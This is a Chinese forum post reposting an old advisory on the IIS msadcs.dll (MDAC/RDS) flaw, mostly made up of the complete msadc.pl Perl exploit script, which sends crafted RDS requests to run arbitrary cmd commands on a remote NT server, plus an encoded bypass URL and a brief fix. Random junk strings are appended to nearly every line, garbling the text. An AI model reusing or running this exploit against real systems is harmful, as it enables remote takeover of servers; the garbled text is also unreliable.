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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ae]6F_Qtc*  
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涉及程序: /4+(eI7  
Microsoft NT server g]`YI5  
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描述: :g^ mg-8  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 CXyb8z4/+  
257$ !  
详细: (+/d*4  
如果你没有时间读详细内容的话,就删除: g%!U7CM6h  
c:\Program Files\Common Files\System\Msadc\msadcs.dll k6RVP: V  
有关的安全问题就没有了。 G43r85LO  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9|v%bO  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Q>rr?L`  
关于利用ODBC远程漏洞的描述,请参看: #(i pF  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DZ\K7-  
\hBzP^*"n  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 c< MF:|(}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp h,]VWG  
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这里不再论述。 ctjQBWE  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: NMf#0Nz-  
()O&O+R|)  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset @DY"~c cH  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! A~<!@`NjB  
.8!\6=iJB  
q^Oj/ws  
#将下面这段保存为txt文件,然后: "perl -x 文件名" B%MdJ D>  
oZ d3H  
#!perl qq)}GK8K&  
# &r4|WM/ec  
# MSADC/RDS 'usage' (aka exploit) script 0gaHYqkA>}  
# =W:=}ODD  
# by rain.forest.puppy gD4vV'|  
# {ilz[LM8(  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1PUZB`"3  
# beta test and find errors! =r7!QXPH}  
&0-oi Y  
use Socket; use Getopt::Std; W0~G`A(:;  
getopts("e:vd:h:XR", \%args); L/C~l3  
QDJ "X  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 6uFw+Ya#  
,1N|lyV   
if (!defined $args{h} && !defined $args{R}) { ?Y,^Moc:  
print qq~ t(uvc{K *  
Usage: msadc.pl -h <host> { -d <delay> -X -v } !3Pmjip  
-h <host> = host you want to scan (ip or domain) 111A e *U  
-d <seconds> = delay between calls, default 1 second '6&o:t  
-X = dump Index Server path table, if available 9,`i[Dzp  
-v = verbose PE4 L7  
-e = external dictionary file for step 5 BO G.[?yx  
2[qfF6FHA  
Or a -R will resume a command session 5}ftiy[Yc  
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~; exit;} rpm\!O  
p8%qU>~+4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; NGl 8*Af   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 7)r]h?  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} L#byYB;E{  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 9 $$uk'}w!  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} C:5- h(#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } [B)!  
K8X7IE  
if (!defined $args{R}){ $ret = &has_msadc; $a*7Q~4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} wPjq B{!Q  
9>S)*lU&s  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" '%[ Y  
. "cmd /c "; U,EoCAm>  
$in=<STDIN>; chomp $in; C:t>u..  
$command="cmd /c " . $in ; 7UMZs7L$  
9Sxr9FLW~  
if (defined $args{R}) {&load; exit;} =IsmPQKi  
'QT~o-U  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; M x#L|w`r  
&try_btcustmr; \~E?;q!  
)/;+aDk  
print "\nStep 2: Trying to make our own DSN..."; {k_\1t(/  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; W4^zKnH  
g&xj(SMj-$  
print "\nStep 3: Trying known DSNs..."; w8 :[w  
&known_dsn; [q2:d^_FA  
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print "\nStep 4: Trying known .mdbs..."; L?d?O  
&known_mdb; Zpkd8@g@  
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if (defined $args{e}){ IRm}?hHf  
print "\nStep 5: Trying dictionary of DSN names..."; Q /4-7  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N<:c*X  
h8`On/Ur_8  
print "Sorry Charley...maybe next time?\n"; A,<5W }  
exit; Qy"Jt]O  
.t1:;H b  
############################################################################## *gwlW/%Fz  
GLtWo+g0  
sub sendraw { # ripped and modded from whisker :6nD"5(  
sleep($delay); # it's a DoS on the server! At least on mine... \s*UUODWK  
my ($pstr)=@_; U*=E(l  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ow/,pC >V  
die("Socket problems\n"); vYV!8o.I  
if(connect(S,pack "SnA4x8",2,80,$target)){ UF!qp  
select(S); $|=1; D;0>-  
print $pstr; my @in=<S>; x!_5 /  
select(STDOUT); close(S); hAf/&yA@  
return @in; _,L_H[FN  
} else { die("Can't connect...\n"); }} c1k[)O~  
]!{S2x&"  
############################################################################## *ai~!TR  
~6t!)QATnp  
sub make_header { # make the HTTP request W9%v#;2  
my $msadc=<<EOT u4~+Bc_GL  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2X\Pw  
User-Agent: ACTIVEDATA 'z8FU~oU  
Host: $ip w&L~+ Z<  
Content-Length: $clen ^5E9p@d"J  
Connection: Keep-Alive p$ \>3\  
_s5^\~ao  
ADCClientVersion:01.06 vd lss|  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 [L+*pW+$\.  
3UUdJh<~  
--!ADM!ROX!YOUR!WORLD! L=#NUNiXr  
Content-Type: application/x-varg l9f_NJHo  
Content-Length: $reqlen XZKlE F?  
J~5V7B  
EOT (U&  
; $msadc=~s/\n/\r\n/g; (-WRZLOQ  
return $msadc;} _ACN  
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############################################################################## kAEq +{h  
'w=|uE {^  
sub make_req { # make the RDS request t/;0/ql\  
my ($switch, $p1, $p2)=@_; v%qOW)].  
my $req=""; my $t1, $t2, $query, $dsn; E_=F' sP?  
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if ($switch==1){ # this is the btcustmr.mdb query X~jdOaq{F:  
$query="Select * from Customers where City=" . make_shell(); o^~ZXF}  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . [cnu K  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} VP A+/5TW  
j<~Wp$\i7>  
elsif ($switch==2){ # this is general make table query kaCN^yQ  
$query="create table AZZ (B int, C varchar(10))"; (O+d6oT=Z2  
$dsn="$p1";} TMMKRC1<  
l48$8Mgrr  
elsif ($switch==3){ # this is general exploit table query "6'",  
$query="select * from AZZ where C=" . make_shell(); 3l?|+sU >O  
$dsn="$p1";} /.0K#J:  
[gBf1,bK  
elsif ($switch==4){ # attempt to hork file info from index server veq3t$sj  
$query="select path from scope()"; vm|u~Yd,s  
$dsn="Provider=MSIDXS;";} ,}IcQu'O  
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elsif ($switch==5){ # bad query q?7''xk7  
$query="select"; g,\kLTg  
$dsn="$p1";} i)e6 U(H  
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$t1= make_unicode($query); Sqn>L`Lz  
$t2= make_unicode($dsn); ltuV2.$  
$req = "\x02\x00\x03\x00";  <)TIj6  
$req.= "\x08\x00" . pack ("S1", length($t1)); 0;TiNrzg  
$req.= "\x00\x00" . $t1 ; 5Hu[*  
$req.= "\x08\x00" . pack ("S1", length($t2)); :o^ioX.J  
$req.= "\x00\x00" . $t2 ; ^rJTlh 9  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; *Vl#]81~  
return $req;} fsjLD|?|:  
*}89.kCBF  
############################################################################## LKvX~68  
S} UYkns*  
sub make_shell { # this makes the shell() statement =Oy&f:s  
return "'|shell(\"$command\")|'";}  G06;x   
=7+%31  
############################################################################## :Ob4WU  
: 2%eh  
sub make_unicode { # quick little function to convert to unicode  d\ #yWY  
my ($in)=@_; my $out; FL\pgbI  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } MPUyu(-%{  
return $out;} g5|&6+t.  
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############################################################################## E}4{{{r  
0\!Bh^++1  
sub rdo_success { # checks for RDO return success (this is kludge) tkV[^OeU>  
my (@in) = @_; my $base=content_start(@in); 5 b rM..  
if($in[$base]=~/multipart\/mixed/){ sd\}M{U  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} z+.G>0M  
return 0;} C2R"96M7q  
!X7z y9  
############################################################################## G)~>d/  
!y_L~81?  
sub make_dsn { # this makes a DSN for us D-@6 hWh~  
my @drives=("c","d","e","f"); ]7<$1ta  
print "\nMaking DSN: "; =T3{!\tH  
foreach $drive (@drives) { ?&0CEfa?  
print "$drive: "; vfqXHc unj  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . $DH/  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" @XG1d)sE  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ,2!7iX  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -}TP)/ !,*  
return 0 if $2 eq "404"; # not found/doesn't exist {G=>WAXo  
if($2 eq "200") { pRjEuOc  
foreach $line (@results) { I`B ZZ-  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} O=U,x-Wl  
} return 0;} pWzYC@_W  
!N+{X\+  
############################################################################## NblPVxS  
:@ &e~QP(  
sub verify_exists { +xIVlH9`Q  
my ($page)=@_; "n3n-Y#'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); "d/54PKWx  
return $results[0];} SLP $|E;  
t@lTA>;U@  
############################################################################## ]gHrqi%  
|7|'J Ty  
sub try_btcustmr { &56\@t^  
my @drives=("c","d","e","f"); =S54p(>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9r\p4_V  
%mlH  
foreach $dir (@dirs) { I@N/Y{y#  
print "$dir -> "; # fun status so you can see progress clqFV   
foreach $drive (@drives) { ]p(es,[  
print "$drive: "; # ditto i`9}">7v~  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; dn~k_J=p  
$reqlenlen=length( "$reqlen" ); _Hq)@A I   
$clen= 206 + $reqlenlen + $reqlen; hT =E~|O  
lnl>!z  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 4%v-)HGh  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} l66 QgPA  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Tw/7P~*  
C.=%8|Zy  
############################################################################## }cW8B"_"  
R90chl   
sub odbc_error { \SmYxdU'>  
my (@in)=@_; my $base; Ei,dO;&  
my $base = content_start(@in); ,!AYeVq  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this h _c11#  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +A 6kw%"  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; L eUp!  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; B_c-@kl   
return $in[$base+4].$in[$base+5].$in[$base+6];} vO zUAi  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; sN[<{;K4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . xjDaA U,  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} IQ#Kod;)  
>4lA+1JYk  
############################################################################## 'Um\m  
_}H`(d%N  
sub verbose { OJ\j6owA  
my ($in)=@_; k~Y_%#_  
return if !$verbose; c@O7,y:`I  
print STDOUT "\n$in\n";} &fxyY (  
KmF+3g~#s  
############################################################################## z[+pN:47  
5zJ#d}%}S"  
sub save { .GDY J9vi  
my ($p1, $p2, $p3, $p4)=@_; "y .(E7 6  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ]waCYrG<sY  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; G;msq=9|  
close OUT;} oH [-fF  
Z+;670Z  
############################################################################## 1z8AK"8  
=H^^AG\}  
sub load { `yb,z   
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; bJ.68643  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); TSd;L u%hr  
@p=<IN>; close(IN); u $T'#p1  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  0c:j wtf  
$target= inet_aton($ip) || die("inet_aton problems"); (XA]k%45  
print "Resuming to $ip ..."; k@C]~1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~ @s$  
if($p[1]==1) { KA {Y*m^7  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; | )R{(AK-  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; S|v-lJ/I  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^sVB:?  
if (rdo_success(@results)){print "Success!\n";} Zh.9j7 >p  
else { print "failed\n"; verbose(odbc_error(@results));}} /&'rQ`nd  
elsif ($p[1]==3){ !*|`-woE  
if(run_query("$p[3]")){ .zyi'Kj  
print "Success!\n";} else { print "failed\n"; }} >RT02Ey>  
elsif ($p[1]==4){ -RnQ8Iu o  
if(run_query($drvst . "$p[3]")){ KbF,jm5  
print "Success!\n"; } else { print "failed\n"; }} E2{SKIUm  
exit;} faaFmEC  
H`ZUI8-  
############################################################################## {wp"zaa  
liq9P,(  
sub create_table { H@,(  
my ($in)=@_; wrW768WR  
$reqlen=length( make_req(2,$in,"") ) - 28; t@EHhiBz  
$reqlenlen=length( "$reqlen" ); s4c2  
$clen= 206 + $reqlenlen + $reqlen; p} }=li>  
my @results=sendraw(make_header() . make_req(2,$in,"")); x+7jJ=F  
return 1 if rdo_success(@results); sIh,@b  
my $temp= odbc_error(@results); verbose($temp); J$D#)w!$j  
return 1 if $temp=~/Table 'AZZ' already exists/; <$'OSN`!  
return 0;} }@:vq8%Q  
q.>{d%?  
############################################################################## }-R|f_2Hp  
jE</a %  
sub known_dsn { ( XoL,lJ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go n089tt=TE  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", dRXF5Ox5K}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", bytAdS$3  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); iWZrZ5l  
R1X{=ct  
foreach $dSn (@dsns) { D f H>UA  
print "."; }?=$?3W  
next if (!is_access("DSN=$dSn")); d&QB?yLd  
if(create_table("DSN=$dSn")){ 7"`%-a$7  
print "$dSn successful\n"; C-abc+/  
if(run_query("DSN=$dSn")){ Vn-y<*np  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { r-s.i+\  
print "Something's borked. Use verbose next time\n";}}} print "\n";} lXS.,#lp  
X rVF %  
############################################################################## WBgS9qiB  
#,1Kum bG3  
sub is_access { _Jc[`2Uv_c  
my ($in)=@_; Oozt&* F  
$reqlen=length( make_req(5,$in,"") ) - 28; ShdE!q7  
$reqlenlen=length( "$reqlen" ); 7Rf${Wv0  
$clen= 206 + $reqlenlen + $reqlen; EencMi7J  
my @results=sendraw(make_header() . make_req(5,$in,"")); "RH pj3 si  
my $temp= odbc_error(@results); %(IkUD  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); >M\3tB2C  
return 0;} ]4m;NId  
ao]Dm#HiO  
############################################################################## SM2QF  
B\,pbOE?#  
sub run_query { +,&8U&~`  
my ($in)=@_; 0HA`  
$reqlen=length( make_req(3,$in,"") ) - 28; [;`B   
$reqlenlen=length( "$reqlen" ); 9gFema{U  
$clen= 206 + $reqlenlen + $reqlen; ~.?,*q7  
my @results=sendraw(make_header() . make_req(3,$in,"")); Wp" +\{@)  
return 1 if rdo_success(@results); :d v{'O  
my $temp= odbc_error(@results); verbose($temp); B zmmE2~*  
return 0;} x$o?ckyH  
cRm+?/  
############################################################################## 0drt,k  
Em?Z  
sub known_mdb { ToWiXH)4  
my @drives=("c","d","e","f","g"); n.&z^&$w\)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \&K{v#g ~  
my $dir, $drive, $mdb; [ZC{eg+D  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (7l'e=J0  
SJg4P4|  
# this is sparse, because I don't know of many 5eP8nn.D  
my @sysmdbs=( "\\catroot\\icatalog.mdb", jlvh'y`  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", k1l\Rywp  
"\\system32\\certmdb.mdb", {z~n`ow  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% HjCWsQM  
e :(7$jo  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", LhN?j5XqM  
"\\cfusion\\cfapps\\forums\\forums_.mdb", BG>fLp  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", U($bR|%D  
"\\cfusion\\cfapps\\security\\realm_.mdb", @d&(*9Y  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", [Dr'  
"\\cfusion\\database\\cfexamples.mdb", 1b^e4  
"\\cfusion\\database\\cfsnippets.mdb", #m x4pf{  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", -BQoNEh  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,X+LJe$  
"\\cfusion\\brighttiger\\database\\cleam.mdb", '%Cc!63t*  
"\\cfusion\\database\\smpolicy.mdb", <v&L90+s\;  
"\\cfusion\\database\cypress.mdb", PIk2mX/D_6  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", s7(NFX5  
"\\website\\cgi-win\\dbsample.mdb", Qt-7jmZw1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 9:DT+^BB  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" R;mA2:W)x  
); #these are just `_YXU  
foreach $drive (@drives) { tx` Z?K[  
foreach $dir (@dirs){ p **Sd[|  
foreach $mdb (@sysmdbs) { l k~VvRq  
print "."; |7Dc7p"D  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 55Pe&V1=  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; k4N_Pa$}\  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ qQ&=Z` p!  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 6 zyxGJ(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 2:5Go  
|Y-{)5/5}  
foreach $drive (@drives) { W;Y"J_  
foreach $mdb (@mdbs) { ke2zxX2 f  
print "."; .1{:Q1"S  
if(create_table($drv . $drive . $dir . $mdb)){ Dj9 v9  
print "\n" . $drive . $dir . $mdb . " successful\n"; Vs1H)T%  
if(run_query($drv . $drive . $dir . $mdb)){ PJfADB7Y  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 8'>yB  
} else { print "Something's borked. Use verbose next time\n"; }}}} *A&A V||q  
} ylGT9G19  
%LM2CgH V  
############################################################################## wZUZ"Y}9  
tDC?St1  
sub hork_idx { F ,;B  
print "\nAttempting to dump Index Server tables...\n"; O#_\@f#[  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; !We9T)e  
$reqlen=length( make_req(4,"","") ) - 28;  2S  
$reqlenlen=length( "$reqlen" ); #x+7-hi  
$clen= 206 + $reqlenlen + $reqlen; E8/Pi>QW  
my @results=sendraw2(make_header() . make_req(4,"","")); u+;iR/  
if (rdo_success(@results)){ %!\iII  
my $max=@results; my $c; my %d; Vg^yjP{sv  
for($c=19; $c<$max; $c++){ Leu6kPk  
$results[$c]=~s/\x00//g; 7VIfRN{5n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; \b;z$P\+*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; eK[9wEdn  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; x%yzhIRR  
$d{"$1$2"}="";} 6vfut$)[{  
foreach $c (keys %d){ print "$c\n"; } "8$Muwm  
} else {print "Index server doesn't seem to be installed.\n"; }} 6fm oI K{  
csFLBP  
############################################################################## }~v&  
V.e30u5  
sub dsn_dict {  \4j(el  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %oOSmt  
while(<IN>){ lqcPV) n  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ;uho.)%N`F  
next if (!is_access("DSN=$dSn")); oe*fgk/o9  
if(create_table("DSN=$dSn")){ *x/H   
print "$dSn successful\n"; }U^iVq*  
if(run_query("DSN=$dSn")){ j;<s!A#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 0}` 0!Kv  
print "Something's borked. Use verbose next time\n";}}} |fB/hs \  
print "\n"; close(IN);} nGM;|6x"8|  
)b~+\xL5J  
############################################################################## rA|&G'  
#~o<9O  
sub sendraw2 { # ripped and modded from whisker U UhlKV|5  
sleep($delay); # it's a DoS on the server! At least on mine... -C2[ZP-  
my ($pstr)=@_; Gb4p "3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?L|Ai\|  
die("Socket problems\n"); y5j ;Daq  
if(connect(S,pack "SnA4x8",2,80,$target)){ l>T]Y  
print "Connected. Getting data";  Xb~i?T;f  
open(OUT,">raw.out"); my @in; $Ji;zR4,  
select(S); $|=1; print $pstr; gL &)l!2Y  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} mLV0J '  
close(OUT); select(STDOUT); close(S); return @in; U J uz  
} else { die("Can't connect...\n"); }} "[sr0'g:  
:<H4hYt2  
############################################################################## h^YUu`P  
5~OKKSUmT  
sub content_start { # this will take in the server headers xS;tmc  
my (@in)=@_; my $c; QJ%N80  
for ($c=1;$c<500;$c++) { },;Z<(  
if($in[$c] =~/^\x0d\x0a/){ /A-VT  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } }&]T0U`@  
else { return $c+1; }}} ^}UFtL i  
return -1;} # it should never get here actually jw)c|%r>  
";upu  
############################################################################## od^o9(.W^  
4j(*%da  
sub funky { 94?/Rhs5  
my (@in)=@_; my $error=odbc_error(@in); I/zI\PP,  
if($error=~/ADO could not find the specified provider/){ Lie= DD  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; #+ {%>f  
exit;} Pk6_1LV  
if($error=~/A Handler is required/){ w6ck wn,  
print "\nServer has custom handler filters (they most likely are patched)\n"; !{!(yP_  
exit;} ([A%>u>h  
if($error=~/specified Handler has denied Access/){ `69xR[f  
print "\nServer has custom handler filters (they most likely are patched)\n"; QrLXAK\5  
exit;}} keJ-ohv)  
L?(m5u~b  
############################################################################## (hIe!"s *  
Gw#z:gX2  
sub has_msadc { A{wk$`vH  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \*#E4`Y  
my $base=content_start(@results); -h2 1  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [9Hrpo]tU:  
return 0;} i x_a  
6Z-[-0o+g  
######################## GPAz#0p  
~Q)Dcit-  
,UfB{BW  
解决方案: n*hRlL  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll T'7x,8&2|  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9z(h8H  
cKAZWON8;v  
拿出来充数 哈哈
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